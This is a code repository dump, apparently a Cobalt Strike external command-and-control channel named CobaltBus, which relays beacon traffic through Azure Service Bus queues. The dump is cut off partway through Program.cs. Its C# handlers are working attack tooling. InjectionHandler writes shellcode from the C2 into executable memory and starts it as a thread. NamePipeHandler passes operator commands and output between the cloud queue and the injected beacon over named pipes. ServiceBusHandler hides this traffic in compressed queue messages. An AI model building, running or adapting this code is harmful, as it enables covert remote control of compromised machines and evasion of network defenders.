├── .gitignore
├── Beacon
├── App.config
├── Beacon.csproj
├── Handlers
│ ├── InjectionHandler.cs
│ ├── NamePipeHandler.cs
│ └── ServiceBusHandler.cs
├── Models
│ └── BeaconMsg.cs
├── Program.cs
├── Properties
│ └── AssemblyInfo.cs
└── packages.config
├── CobaltBus.sln
├── CobaltBus
├── CobaltBus.csproj
├── Handlers
│ ├── CobaltHandler.cs
│ ├── LiteDbHandler.cs
│ └── ServiceBusHandler.cs
├── Models
│ ├── Beacon.cs
│ └── BeaconMsg.cs
└── Program.cs
├── FlowDiag.png
└── README.md
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.rsuser
8 | *.suo
9 | *.user
10 | *.userosscache
11 | *.sln.docstates
12 |
13 | # User-specific files (MonoDevelop/Xamarin Studio)
14 | *.userprefs
15 |
16 | # Mono auto generated files
17 | mono_crash.*
18 |
19 | # Build results
20 | [Dd]ebug/
21 | [Dd]ebugPublic/
22 | [Rr]elease/
23 | [Rr]eleases/
24 | x64/
25 | x86/
26 | [Aa][Rr][Mm]/
27 | [Aa][Rr][Mm]64/
28 | bld/
29 | [Bb]in/
30 | [Oo]bj/
31 | [Ll]og/
32 | [Ll]ogs/
33 |
34 | # Visual Studio 2015/2017 cache/options directory
35 | .vs/
36 | # Uncomment if you have tasks that create the project's static files in wwwroot
37 | #wwwroot/
38 |
39 | # Visual Studio 2017 auto generated files
40 | Generated\ Files/
41 |
42 | # MSTest test Results
43 | [Tt]est[Rr]esult*/
44 | [Bb]uild[Ll]og.*
45 |
46 | # NUnit
47 | *.VisualState.xml
48 | TestResult.xml
49 | nunit-*.xml
50 |
51 | # Build Results of an ATL Project
52 | [Dd]ebugPS/
53 | [Rr]eleasePS/
54 | dlldata.c
55 |
56 | # Benchmark Results
57 | BenchmarkDotNet.Artifacts/
58 |
59 | # .NET Core
60 | project.lock.json
61 | project.fragment.lock.json
62 | artifacts/
63 |
64 | # StyleCop
65 | StyleCopReport.xml
66 |
67 | # Files built by Visual Studio
68 | *_i.c
69 | *_p.c
70 | *_h.h
71 | *.ilk
72 | *.meta
73 | *.obj
74 | *.iobj
75 | *.pch
76 | *.pdb
77 | *.ipdb
78 | *.pgc
79 | *.pgd
80 | *.rsp
81 | *.sbr
82 | *.tlb
83 | *.tli
84 | *.tlh
85 | *.tmp
86 | *.tmp_proj
87 | *_wpftmp.csproj
88 | *.log
89 | *.vspscc
90 | *.vssscc
91 | .builds
92 | *.pidb
93 | *.svclog
94 | *.scc
95 |
96 | # Chutzpah Test files
97 | _Chutzpah*
98 |
99 | # Visual C++ cache files
100 | ipch/
101 | *.aps
102 | *.ncb
103 | *.opendb
104 | *.opensdf
105 | *.sdf
106 | *.cachefile
107 | *.VC.db
108 | *.VC.VC.opendb
109 |
110 | # Visual Studio profiler
111 | *.psess
112 | *.vsp
113 | *.vspx
114 | *.sap
115 |
116 | # Visual Studio Trace Files
117 | *.e2e
118 |
119 | # TFS 2012 Local Workspace
120 | $tf/
121 |
122 | # Guidance Automation Toolkit
123 | *.gpState
124 |
125 | # ReSharper is a .NET coding add-in
126 | _ReSharper*/
127 | *.[Rr]e[Ss]harper
128 | *.DotSettings.user
129 |
130 | # TeamCity is a build add-in
131 | _TeamCity*
132 |
133 | # DotCover is a Code Coverage Tool
134 | *.dotCover
135 |
136 | # AxoCover is a Code Coverage Tool
137 | .axoCover/*
138 | !.axoCover/settings.json
139 |
140 | # Visual Studio code coverage results
141 | *.coverage
142 | *.coveragexml
143 |
144 | # NCrunch
145 | _NCrunch_*
146 | .*crunch*.local.xml
147 | nCrunchTemp_*
148 |
149 | # MightyMoose
150 | *.mm.*
151 | AutoTest.Net/
152 |
153 | # Web workbench (sass)
154 | .sass-cache/
155 |
156 | # Installshield output folder
157 | [Ee]xpress/
158 |
159 | # DocProject is a documentation generator add-in
160 | DocProject/buildhelp/
161 | DocProject/Help/*.HxT
162 | DocProject/Help/*.HxC
163 | DocProject/Help/*.hhc
164 | DocProject/Help/*.hhk
165 | DocProject/Help/*.hhp
166 | DocProject/Help/Html2
167 | DocProject/Help/html
168 |
169 | # Click-Once directory
170 | publish/
171 |
172 | # Publish Web Output
173 | *.[Pp]ublish.xml
174 | *.azurePubxml
175 | # Note: Comment the next line if you want to checkin your web deploy settings,
176 | # but database connection strings (with potential passwords) will be unencrypted
177 | *.pubxml
178 | *.publishproj
179 |
180 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
181 | # checkin your Azure Web App publish settings, but sensitive information contained
182 | # in these scripts will be unencrypted
183 | PublishScripts/
184 |
185 | # NuGet Packages
186 | *.nupkg
187 | # NuGet Symbol Packages
188 | *.snupkg
189 | # The packages folder can be ignored because of Package Restore
190 | **/[Pp]ackages/*
191 | # except build/, which is used as an MSBuild target.
192 | !**/[Pp]ackages/build/
193 | # Uncomment if necessary however generally it will be regenerated when needed
194 | #!**/[Pp]ackages/repositories.config
195 | # NuGet v3's project.json files produces more ignorable files
196 | *.nuget.props
197 | *.nuget.targets
198 |
199 | # Microsoft Azure Build Output
200 | csx/
201 | *.build.csdef
202 |
203 | # Microsoft Azure Emulator
204 | ecf/
205 | rcf/
206 |
207 | # Windows Store app package directories and files
208 | AppPackages/
209 | BundleArtifacts/
210 | Package.StoreAssociation.xml
211 | _pkginfo.txt
212 | *.appx
213 | *.appxbundle
214 | *.appxupload
215 |
216 | # Visual Studio cache files
217 | # files ending in .cache can be ignored
218 | *.[Cc]ache
219 | # but keep track of directories ending in .cache
220 | !?*.[Cc]ache/
221 |
222 | # Others
223 | ClientBin/
224 | ~$*
225 | *~
226 | *.dbmdl
227 | *.dbproj.schemaview
228 | *.jfm
229 | *.pfx
230 | *.publishsettings
231 | orleans.codegen.cs
232 |
233 | # Including strong name files can present a security risk
234 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
235 | #*.snk
236 |
237 | # Since there are multiple workflows, uncomment next line to ignore bower_components
238 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
239 | #bower_components/
240 |
241 | # RIA/Silverlight projects
242 | Generated_Code/
243 |
244 | # Backup & report files from converting an old project file
245 | # to a newer Visual Studio version. Backup files are not needed,
246 | # because we have git ;-)
247 | _UpgradeReport_Files/
248 | Backup*/
249 | UpgradeLog*.XML
250 | UpgradeLog*.htm
251 | ServiceFabricBackup/
252 | *.rptproj.bak
253 |
254 | # SQL Server files
255 | *.mdf
256 | *.ldf
257 | *.ndf
258 |
259 | # Business Intelligence projects
260 | *.rdl.data
261 | *.bim.layout
262 | *.bim_*.settings
263 | *.rptproj.rsuser
264 | *- [Bb]ackup.rdl
265 | *- [Bb]ackup ([0-9]).rdl
266 | *- [Bb]ackup ([0-9][0-9]).rdl
267 |
268 | # Microsoft Fakes
269 | FakesAssemblies/
270 |
271 | # GhostDoc plugin setting file
272 | *.GhostDoc.xml
273 |
274 | # Node.js Tools for Visual Studio
275 | .ntvs_analysis.dat
276 | node_modules/
277 |
278 | # Visual Studio 6 build log
279 | *.plg
280 |
281 | # Visual Studio 6 workspace options file
282 | *.opt
283 |
284 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
285 | *.vbw
286 |
287 | # Visual Studio LightSwitch build output
288 | **/*.HTMLClient/GeneratedArtifacts
289 | **/*.DesktopClient/GeneratedArtifacts
290 | **/*.DesktopClient/ModelManifest.xml
291 | **/*.Server/GeneratedArtifacts
292 | **/*.Server/ModelManifest.xml
293 | _Pvt_Extensions
294 |
295 | # Paket dependency manager
296 | .paket/paket.exe
297 | paket-files/
298 |
299 | # FAKE - F# Make
300 | .fake/
301 |
302 | # CodeRush personal settings
303 | .cr/personal
304 |
305 | # Python Tools for Visual Studio (PTVS)
306 | __pycache__/
307 | *.pyc
308 |
309 | # Cake - Uncomment if you are using it
310 | # tools/**
311 | # !tools/packages.config
312 |
313 | # Tabs Studio
314 | *.tss
315 |
316 | # Telerik's JustMock configuration file
317 | *.jmconfig
318 |
319 | # BizTalk build output
320 | *.btp.cs
321 | *.btm.cs
322 | *.odx.cs
323 | *.xsd.cs
324 |
325 | # OpenCover UI analysis results
326 | OpenCover/
327 |
328 | # Azure Stream Analytics local run output
329 | ASALocalRun/
330 |
331 | # MSBuild Binary and Structured Log
332 | *.binlog
333 |
334 | # NVidia Nsight GPU debugger configuration file
335 | *.nvuser
336 |
337 | # MFractors (Xamarin productivity tool) working folder
338 | .mfractor/
339 |
340 | # Local History for Visual Studio
341 | .localhistory/
342 |
343 | # BeatPulse healthcheck temp database
344 | healthchecksdb
345 |
346 | # Backup folder for Package Reference Convert tool in Visual Studio 2017
347 | MigrationBackup/
348 |
349 | # Ionide (cross platform F# VS Code tools) working folder
350 | .ionide/
351 |
--------------------------------------------------------------------------------
/Beacon/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
--------------------------------------------------------------------------------
/Beacon/Beacon.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {C309CDCC-0548-4B3B-B5B2-BDA77A3D079C}
8 | Exe
9 | Beacon
10 | Beacon
11 | v4.7.2
12 | 512
13 | true
14 | true
15 |
16 |
17 |
18 |
19 | AnyCPU
20 | true
21 | full
22 | false
23 | bin\Debug\
24 | DEBUG;TRACE
25 | prompt
26 | 4
27 |
28 |
29 | AnyCPU
30 | pdbonly
31 | true
32 | bin\Release\
33 | TRACE
34 | prompt
35 | 4
36 |
37 |
38 | true
39 | bin\x64\Debug\
40 | DEBUG;TRACE
41 | full
42 | x64
43 | 7.3
44 | prompt
45 | true
46 |
47 |
48 | bin\x64\Release\
49 | TRACE
50 | true
51 | pdbonly
52 | x64
53 | 7.3
54 | prompt
55 | true
56 |
57 |
58 |
59 | ..\packages\Azure.Core.1.8.1\lib\net461\Azure.Core.dll
60 |
61 |
62 | ..\packages\Azure.Core.Amqp.1.0.0\lib\netstandard2.0\Azure.Core.Amqp.dll
63 |
64 |
65 | ..\packages\Azure.Messaging.ServiceBus.7.1.2\lib\netstandard2.0\Azure.Messaging.ServiceBus.dll
66 |
67 |
68 | ..\packages\Microsoft.Azure.Amqp.2.4.13\lib\net45\Microsoft.Azure.Amqp.dll
69 |
70 |
71 | ..\packages\Microsoft.Azure.Management.ServiceBus.2.1.0\lib\net461\Microsoft.Azure.Management.ServiceBus.dll
72 |
73 |
74 | ..\packages\Microsoft.Azure.ServiceBus.5.1.2\lib\netstandard2.0\Microsoft.Azure.ServiceBus.dll
75 |
76 |
77 | ..\packages\Microsoft.Azure.Services.AppAuthentication.1.0.3\lib\net452\Microsoft.Azure.Services.AppAuthentication.dll
78 |
79 |
80 | ..\packages\Microsoft.Bcl.AsyncInterfaces.1.0.0\lib\net461\Microsoft.Bcl.AsyncInterfaces.dll
81 |
82 |
83 | ..\packages\Microsoft.IdentityModel.Clients.ActiveDirectory.3.14.2\lib\net45\Microsoft.IdentityModel.Clients.ActiveDirectory.dll
84 |
85 |
86 | ..\packages\Microsoft.IdentityModel.Clients.ActiveDirectory.3.14.2\lib\net45\Microsoft.IdentityModel.Clients.ActiveDirectory.Platform.dll
87 |
88 |
89 | ..\packages\Microsoft.IdentityModel.JsonWebTokens.5.4.0\lib\net461\Microsoft.IdentityModel.JsonWebTokens.dll
90 |
91 |
92 | ..\packages\Microsoft.IdentityModel.Logging.5.4.0\lib\net461\Microsoft.IdentityModel.Logging.dll
93 |
94 |
95 | ..\packages\Microsoft.IdentityModel.Tokens.5.4.0\lib\net461\Microsoft.IdentityModel.Tokens.dll
96 |
97 |
98 | ..\packages\Microsoft.Rest.ClientRuntime.2.3.20\lib\net461\Microsoft.Rest.ClientRuntime.dll
99 |
100 |
101 | ..\packages\Microsoft.Rest.ClientRuntime.Azure.3.3.19\lib\net461\Microsoft.Rest.ClientRuntime.Azure.dll
102 |
103 |
104 | ..\packages\WindowsAzure.ServiceBus.6.0.5\lib\net462\Microsoft.ServiceBus.dll
105 |
106 |
107 | ..\packages\Newtonsoft.Json.10.0.3\lib\net45\Newtonsoft.Json.dll
108 |
109 |
110 | ..\packages\Squid-Box.SevenZipSharp.1.5.0.366\lib\net45\SevenZipSharp.dll
111 |
112 |
113 |
114 | ..\packages\System.Buffers.4.5.0\lib\netstandard2.0\System.Buffers.dll
115 |
116 |
117 |
118 |
119 | ..\packages\System.Diagnostics.DiagnosticSource.4.6.0\lib\net46\System.Diagnostics.DiagnosticSource.dll
120 |
121 |
122 | ..\packages\System.IdentityModel.Tokens.Jwt.5.4.0\lib\net461\System.IdentityModel.Tokens.Jwt.dll
123 |
124 |
125 | ..\packages\System.IO.4.1.0\lib\net462\System.IO.dll
126 | True
127 | True
128 |
129 |
130 | ..\packages\System.Memory.4.5.3\lib\netstandard2.0\System.Memory.dll
131 |
132 |
133 | ..\packages\System.Memory.Data.1.0.1\lib\net461\System.Memory.Data.dll
134 |
135 |
136 |
137 |
138 | ..\packages\System.Net.WebSockets.4.0.0\lib\net46\System.Net.WebSockets.dll
139 | True
140 | True
141 |
142 |
143 | ..\packages\System.Net.WebSockets.Client.4.0.2\lib\net46\System.Net.WebSockets.Client.dll
144 | True
145 | True
146 |
147 |
148 |
149 | ..\packages\System.Numerics.Vectors.4.5.0\lib\net46\System.Numerics.Vectors.dll
150 |
151 |
152 | ..\packages\System.Runtime.4.1.0\lib\net462\System.Runtime.dll
153 | True
154 | True
155 |
156 |
157 | ..\packages\System.Runtime.CompilerServices.Unsafe.4.6.0\lib\netstandard2.0\System.Runtime.CompilerServices.Unsafe.dll
158 |
159 |
160 |
161 | ..\packages\System.Runtime.Serialization.Primitives.4.1.1\lib\net46\System.Runtime.Serialization.Primitives.dll
162 | True
163 | True
164 |
165 |
166 | ..\packages\System.Security.Cryptography.Algorithms.4.2.0\lib\net463\System.Security.Cryptography.Algorithms.dll
167 | True
168 | True
169 |
170 |
171 | ..\packages\System.Security.Cryptography.Encoding.4.0.0\lib\net46\System.Security.Cryptography.Encoding.dll
172 | True
173 | True
174 |
175 |
176 | ..\packages\System.Security.Cryptography.Primitives.4.0.0\lib\net46\System.Security.Cryptography.Primitives.dll
177 | True
178 | True
179 |
180 |
181 | ..\packages\System.Security.Cryptography.X509Certificates.4.1.0\lib\net461\System.Security.Cryptography.X509Certificates.dll
182 | True
183 | True
184 |
185 |
186 |
187 | ..\packages\System.Text.Encodings.Web.4.6.0\lib\netstandard2.0\System.Text.Encodings.Web.dll
188 |
189 |
190 | ..\packages\System.Text.Json.4.6.0\lib\net461\System.Text.Json.dll
191 |
192 |
193 | ..\packages\System.Threading.Tasks.Extensions.4.5.2\lib\netstandard2.0\System.Threading.Tasks.Extensions.dll
194 |
195 |
196 | ..\packages\System.ValueTuple.4.5.0\lib\net47\System.ValueTuple.dll
197 |
198 |
199 |
200 |
201 |
202 |
203 |
204 |
205 |
206 |
207 |
208 |
209 |
210 |
211 |
212 |
213 |
214 |
215 |
216 |
217 |
218 |
219 |
220 |
221 | This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.
222 |
223 |
224 |
225 |
226 |
227 |
--------------------------------------------------------------------------------
/Beacon/Handlers/InjectionHandler.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace Beacon.Handlers
9 | {
10 | public class InjectionHandler
11 | {
12 | //This can be replaced with a better alternative of shellcode injection
13 |
14 | private const uint PAYLOAD_MAX_SIZE = 512 * 1024;
15 | private const uint MEM_COMMIT = 0x1000;
16 | private const uint PAGE_EXECUTE_READWRITE = 0x40;
17 |
18 | public static uint InjectStager(byte[] payload)
19 | {
20 | uint threadId = 0;
21 | IntPtr addr = VirtualAlloc(0, PAYLOAD_MAX_SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
22 |
23 | Marshal.Copy(payload, 0, addr, payload.Length);
24 | CreateThread(0, 0, addr, IntPtr.Zero, 0, ref threadId);
25 |
26 | return threadId;
27 | }
28 |
29 | [DllImport("kernel32")]
30 | private static extern IntPtr CreateThread(
31 | uint lpThreadAttributes,
32 | uint dwStackSize,
33 | IntPtr lpStartAddress,
34 | IntPtr param,
35 | uint dwCreationFlags,
36 | ref uint lpThreadId
37 | );
38 |
39 | [DllImport("kernel32")]
40 | private static extern IntPtr VirtualAlloc(
41 | uint lpStartAddr,
42 | uint size,
43 | uint flAllocationType,
44 | uint flProtect
45 | );
46 |
47 |
48 | }
49 | }
50 |
--------------------------------------------------------------------------------
/Beacon/Handlers/NamePipeHandler.cs:
--------------------------------------------------------------------------------
1 | using Beacon.Models;
2 | using System;
3 | using System.Collections.Generic;
4 | using System.IO;
5 | using System.IO.Pipes;
6 | using System.Linq;
7 | using System.Text;
8 | using System.Threading;
9 | using System.Threading.Tasks;
10 |
11 | namespace Beacon.Handlers
12 | {
13 | public class NamePipeHandler
14 | {
15 | private const int MaxBufferSize = 1024 * 1024;
16 |
17 |
18 | public NamePipeHandler(string pipeName, string beaconId)
19 | {
20 | PipeName = pipeName;
21 | BeaconId = beaconId;
22 | }
23 |
24 |
25 | public int ExternalId { get; set; }
26 |
27 | public string PipeName { get; set; }
28 | public int RunCount { get; set; }
29 | public bool RunningOtherCommand { get; set; }
30 | public string BeaconId { get; set; }
31 |
32 |
33 | public NamedPipeClientStream Client { get; set; }
34 |
35 |
36 | public bool Connected => Client?.IsConnected ?? false;
37 |
38 | public bool Connect()
39 | {
40 | Client = new NamedPipeClientStream(PipeName.ToString());
41 |
42 | var tries = 0;
43 | while (Client.IsConnected == false)
44 | {
45 | if (tries == 20) break; // Failed to connect
46 |
47 | Client.Connect();
48 | tries += 1;
49 |
50 | Thread.Sleep(1000);
51 | }
52 |
53 | return Client.IsConnected;
54 | }
55 |
56 | public void Close()
57 | {
58 | Client.Close();
59 | }
60 |
61 | public void Dispose()
62 | {
63 | Client.Close();
64 | }
65 |
66 | public byte[] ReadFrame()
67 | {
68 | var reader = new BinaryReader(Client);
69 | var bufferSize = reader.ReadInt32();
70 | var size = bufferSize > MaxBufferSize
71 | ? MaxBufferSize
72 | : bufferSize;
73 |
74 | return reader.ReadBytes(size);
75 | }
76 |
77 | public void SendFrame(byte[] buffer)
78 | {
79 | var writer = new BinaryWriter(Client);
80 |
81 | writer.Write(buffer.Length);
82 | writer.Write(buffer);
83 | }
84 | public static int is64Bit()
85 | {
86 | if (IntPtr.Size == 4)
87 | return 0;
88 |
89 | return 1;
90 | }
91 |
92 |
93 |
94 | public (BeaconMsg beaconMsg, bool stopHandler) ProcessMessage(BeaconMsg beaconMsg)
95 | {
96 | //This hold the C2 communcation protocol logic
97 | BeaconMsg responseMsg = new BeaconMsg()
98 | {
99 | From = beaconMsg.To,
100 | To = beaconMsg.From,
101 | Queue = beaconMsg.Queue
102 | };
103 |
104 | // ::
105 |
106 | if (Connected)
107 | {
108 |
109 | RunningOtherCommand = true;
110 |
111 | var byteArray = Convert.FromBase64String(beaconMsg.Payload);
112 |
113 | SendFrame(byteArray);
114 |
115 |
116 | var readBuffer = ReadFrame();
117 | if (readBuffer.Length > 0)
118 | {
119 | responseMsg.Command = ":COM:";
120 | responseMsg.Payload = Convert.ToBase64String(readBuffer);
121 |
122 |
123 | }
124 |
125 | RunningOtherCommand = false;
126 |
127 | // RunCount++;
128 |
129 | return (responseMsg, false);
130 | // }
131 |
132 | }
133 | else if (beaconMsg.Command.Equals("CHANNEL"))
134 | {
135 | //We need to stop the current channel and start the new one
136 | responseMsg.Command = "GETSTAGER";
137 | responseMsg.Payload = PipeName + ":" + is64Bit() ;
138 | responseMsg.Queue = beaconMsg.Payload;
139 |
140 | return (responseMsg, true);
141 | }
142 | else if (!Connected && beaconMsg.Command.Equals("INJECT"))
143 | {
144 |
145 | var shellcode = Convert.FromBase64String(beaconMsg.Payload);
146 |
147 | Console.WriteLine($"[+] Performing injection");
148 |
149 | //Inject the beacon
150 | InjectionHandler.InjectStager(shellcode);
151 |
152 | //Start the SMBPIPE
153 | Console.WriteLine($"[+] Getting and sending beacon ID");
154 | Connect();
155 |
156 | var buffer = ReadFrame();
157 | if (buffer.Length > 0)
158 | {
159 | if (ExternalId == 0 && buffer.Length == 132)
160 | {
161 | ExtractId(buffer);
162 | }
163 |
164 | responseMsg.Command = ":COM:";
165 | responseMsg.Payload = Convert.ToBase64String(buffer);
166 |
167 | return (responseMsg, false);
168 | }
169 | }
170 |
171 | return (responseMsg, false);
172 | }
173 |
174 | public void ExtractId(byte[] frame)
175 | {
176 | using (var reader = new BinaryReader(new MemoryStream(frame)))
177 | ExternalId = reader.ReadInt32();
178 |
179 | Console.WriteLine($"[+] Extracted External Beacon Id: {ExternalId}");
180 | }
181 |
182 | }
183 |
184 | }
185 |
--------------------------------------------------------------------------------
/Beacon/Handlers/ServiceBusHandler.cs:
--------------------------------------------------------------------------------
1 | using Microsoft.Azure.ServiceBus.Management;
2 | using Azure.Messaging.ServiceBus;
3 | using System;
4 | using System.Collections.Generic;
5 | using System.Linq;
6 | using System.Text;
7 | using System.Threading.Tasks;
8 | using Beacon.Handlers;
9 | using Newtonsoft.Json;
10 | using Beacon.Models;
11 |
12 | namespace Beacon.Handlers
13 | {
14 | public class ServiceBusHandler
15 | {
16 | public static string OutboundQueueName = "C2";
17 | public static string InboudboundQueueName = "BE";
18 | public static string baseQueueName = Program.baseQueueName;
19 |
20 | public string ConnectionString { get; set; }
21 | public string QueueName { get; set; }
22 | public string BeaconId { get; set; }
23 | public bool Initiliazed { get; set; }
24 | public ServiceBusClient client { get; set; }
25 | public NamePipeHandler NamePipeHandler { get; set; }
26 | public ServiceBusProcessor processor { get; set; }
27 |
28 | public ServiceBusHandler(string connectionString, string queueName, string beaconId, NamePipeHandler cobaltHandler)
29 | {
30 | ConnectionString = connectionString;
31 | NamePipeHandler = cobaltHandler;
32 | QueueName = queueName;
33 | //orchestrationQueueName = queueName;
34 | BeaconId = beaconId;
35 | client = new ServiceBusClient(ConnectionString);
36 | }
37 |
38 | // handle received messages
39 | public async Task MessageHandler(ProcessMessageEventArgs args)
40 | {
41 | //Put all relevant messages into the database for handling
42 | //Compress Data
43 | var decom = SevenZip.SevenZipExtractor.ExtractBytes(args.Message.Body.ToArray());
44 |
45 | var beaconMsg = JsonConvert.DeserializeObject(Encoding.UTF8.GetString(decom));
46 |
47 | if (beaconMsg != null)
48 | {
49 | if (beaconMsg.To.Equals(BeaconId))
50 | {
51 | // complete the message. messages is deleted from the queue.
52 | await args.CompleteMessageAsync(args.Message);
53 |
54 | //Process the response
55 | var responseMsg = NamePipeHandler.ProcessMessage(beaconMsg);
56 |
57 | await SendMessageAsync(responseMsg.beaconMsg.Queue, JsonConvert.SerializeObject(responseMsg.beaconMsg));
58 |
59 | if (QueueName.Equals(baseQueueName))
60 | {
61 | QueueName = responseMsg.beaconMsg.Queue;
62 |
63 | Initiliazed = responseMsg.stopHandler;
64 |
65 | Console.WriteLine($"[+] Stopping handler for {QueueName}");
66 | await processor.StopProcessingAsync();
67 | }
68 | }
69 | }
70 | }
71 |
72 | // handle any errors when receiving messages
73 | public Task ErrorHandler(ProcessErrorEventArgs args)
74 | {
75 | Console.WriteLine(args.Exception.ToString());
76 | return Task.CompletedTask;
77 | }
78 |
79 | public async Task ReceiveMessageManualAsync(string queueName)
80 | {
81 | var reciver = client.CreateReceiver(queueName);
82 |
83 | var serviceBusMsg = await reciver.ReceiveMessageAsync(TimeSpan.FromSeconds(2));
84 |
85 | if (serviceBusMsg != null)
86 | {
87 | var beaconMsg = JsonConvert.DeserializeObject(serviceBusMsg.Body.ToString());
88 |
89 | if (beaconMsg != null)
90 | {
91 | if (beaconMsg.To.Equals(BeaconId))
92 | {
93 | //Process the response
94 | var responseMsg = NamePipeHandler.ProcessMessage(beaconMsg);
95 |
96 | // complete the message. messages is deleted from the queue.
97 | await reciver.CompleteMessageAsync(serviceBusMsg);
98 |
99 | if (!string.IsNullOrEmpty(responseMsg.beaconMsg.Payload))
100 | await SendMessageAsync(responseMsg.beaconMsg.Queue, JsonConvert.SerializeObject(responseMsg.beaconMsg));
101 |
102 | if (QueueName.Equals(baseQueueName))
103 | {
104 | QueueName = responseMsg.beaconMsg.Queue;
105 |
106 | Initiliazed = responseMsg.stopHandler;
107 |
108 | Console.WriteLine($"[+] Stopping handler for {QueueName}");
109 | await processor.StopProcessingAsync();
110 | }
111 | }
112 | }
113 | }
114 | }
115 |
116 | public async Task ReceiveMessagesAsync(string queueName)
117 | {
118 |
119 | // create a processor that we can use to process the messages
120 | processor = client.CreateProcessor(queueName + InboudboundQueueName, new ServiceBusProcessorOptions());
121 |
122 | // add handler to process messages
123 | processor.ProcessMessageAsync += MessageHandler;
124 |
125 | // add handler to process any errors
126 | processor.ProcessErrorAsync += ErrorHandler;
127 |
128 |
129 | // start processing
130 | await processor.StartProcessingAsync();
131 |
132 |
133 |
134 |
135 | }
136 |
137 |
138 | public async Task SendMessageAsync(string queueName, string messageData)
139 | {
140 |
141 | // create a sender for the queue
142 | ServiceBusSender sender = client.CreateSender(queueName + OutboundQueueName);
143 |
144 | //Compress Data
145 | var compressed = SevenZip.SevenZipCompressor.CompressBytes(Encoding.UTF8.GetBytes(messageData));
146 |
147 | // create a message that we can send
148 | ServiceBusMessage message = new ServiceBusMessage(compressed);
149 |
150 |
151 | // send the message
152 | await sender.SendMessageAsync(message);
153 |
154 |
155 | }
156 |
157 | public async Task> ListQueues()
158 | {
159 | var managementClient = new ManagementClient(ConnectionString);
160 |
161 | var allQueues = await managementClient.GetQueuesAsync();
162 |
163 | return allQueues.Select(x => x.Path).ToList();
164 |
165 |
166 | }
167 |
168 | public async Task CreateQueue(string queueName)
169 | {
170 | try
171 | {
172 | var managementClient = new ManagementClient(ConnectionString);
173 |
174 | await managementClient.CreateQueueAsync(queueName);
175 |
176 | return true;
177 | }
178 | catch (Exception)
179 | {
180 |
181 | return false;
182 | }
183 | }
184 | }
185 | }
186 |
--------------------------------------------------------------------------------
/Beacon/Models/BeaconMsg.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Threading.Tasks;
6 |
7 | namespace Beacon.Models
8 | {
9 | public class BeaconMsg
10 | {
11 | public int Id { get; set; }
12 | public string From { get; set; }
13 | public string To { get; set; }
14 | public string Command { get; set; }
15 | public string Payload { get; set; }
16 | public string Queue { get; set; }
17 | }
18 | }
19 |
--------------------------------------------------------------------------------
/Beacon/Program.cs:
--------------------------------------------------------------------------------
1 | using Beacon.Handlers;
2 | using Beacon.Models;
3 | using Microsoft.ServiceBus;
4 | using Newtonsoft.Json;
5 | using System;
6 | using System.Collections.Generic;
7 | using System.Linq;
8 | using System.Text;
9 | using System.Threading;
10 | using System.Threading.Tasks;
11 |
12 | namespace Beacon
13 | {
14 | class Program
15 | {
16 | public static string baseQueueName = "CobaltBus-";
17 |
18 | public static string connectionString = "";
19 |
20 |
21 | static async Task Main(string[] args)
22 | {
23 | ServiceBusEnvironment.SystemConnectivity.Mode = Microsoft.ServiceBus.ConnectivityMode.Https;
24 |
25 | var namePipeName = Guid.NewGuid().ToString();
26 | var beaconId = Guid.NewGuid().ToString();
27 |
28 | Console.WriteLine("[+] BeaconID " + beaconId);
29 |
30 | Console.WriteLine("[+] PipeName " + namePipeName);
31 |
32 | var namePipeHandler = new NamePipeHandler(namePipeName, beaconId);
33 |
34 | var serviceBusHandler = new ServiceBusHandler(connectionString, baseQueueName, beaconId, namePipeHandler);
35 | var interactive = true;
36 |
37 | //Start listening for Negotation messages on that OrchestrationQueue
38 | // We don't want to await this, since it needs to run async with other tasks
39 | var c2Id = "C2SERVER";
40 |
41 | var initMsg = new BeaconMsg()
42 | {
43 | To = c2Id,
44 | From = beaconId,
45 | Command = "INITIALIZE",
46 | Payload = namePipeName,
47 | Queue = baseQueueName
48 |
49 | };
50 |
51 | Console.WriteLine("[+] Sending INITIALIZE request");
52 | await serviceBusHandler.SendMessageAsync(baseQueueName, JsonConvert.SerializeObject(initMsg));
53 |
54 |
55 | Console.WriteLine("[+] Started response listener");
56 | serviceBusHandler.ReceiveMessagesAsync(baseQueueName);
57 |
58 | while (!serviceBusHandler.Initiliazed)
59 | {
60 | //Loop to wait for the beacon to recived it's first callback to do something
61 | }
62 |
63 | var newQueueName = serviceBusHandler.QueueName;
64 | //We got a callback to do something
65 | Console.WriteLine($"[+] Moving into a dedicated queue, starting {newQueueName}");
66 |
67 | var serviceBusHandlerTwo = new ServiceBusHandler(connectionString, newQueueName, beaconId, namePipeHandler);
68 |
69 | serviceBusHandlerTwo.ReceiveMessagesAsync(newQueueName);
70 |
71 | if (interactive)
72 | {
73 | while (true)
74 | {
75 | }
76 | }
77 | else
78 | {
79 | while (true)
80 | {
81 | //RunningOtherCommand
82 | if (namePipeHandler.Connected && !namePipeHandler.RunningOtherCommand)
83 | {
